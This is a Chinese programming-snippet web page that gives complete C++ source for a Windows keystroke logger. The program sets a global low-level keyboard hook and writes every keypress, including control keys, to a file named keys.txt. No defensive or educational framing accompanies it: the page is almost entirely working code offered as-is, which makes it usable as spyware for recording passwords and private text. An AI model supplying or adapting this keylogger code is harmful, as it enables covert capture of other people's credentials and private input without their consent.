Windows下C++通过Hooks记录键盘敲击记录

2018-07-20    来源:open-open

容器云强势上线!快速搭建集群,上万Linux镜像随意使用
#define _WIN32_WINNT 0x0500
 
#include<fstream>
#include<windows.h>
 
using namespace std;
 
ofstream out("keys.txt", ios::out);
 
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
     
    // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {
 
            // Invisible keys
            case VK_CAPITAL:    out << "<CAPLOCK>";     break;
            case VK_SHIFT:      out << "<SHIFT>";       break;
            case VK_LCONTROL:   out << "<LCTRL>";       break;
            case VK_RCONTROL:   out << "<RCTRL>";       break;
            case VK_INSERT:     out << "<INSERT>";      break;
            case VK_END:        out << "<END>";         break;
            case VK_PRINT:      out << "<PRINT>";       break;
            case VK_DELETE:     out << "<DEL>";         break;
            case VK_BACK:       out << "<BK>";          break;
 
            case VK_LEFT:       out << "<LEFT>";        break;
            case VK_RIGHT:      out << "<RIGHT>";       break;
            case VK_UP:         out << "<UP>";          break;
            case VK_DOWN:       out << "<DOWN>";        break;
 
            // Visible keys
            default:
                out << char(tolower(p->vkCode));
 
        }
    }
 
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 
    // Set windows hook
    HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);
 
    MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
 
    out.close();
 
    return 0;
}

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点!
本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。

上一篇:C++编写的页面淘汰算法LRU

下一篇:C++编写的页面淘汰算法FIFO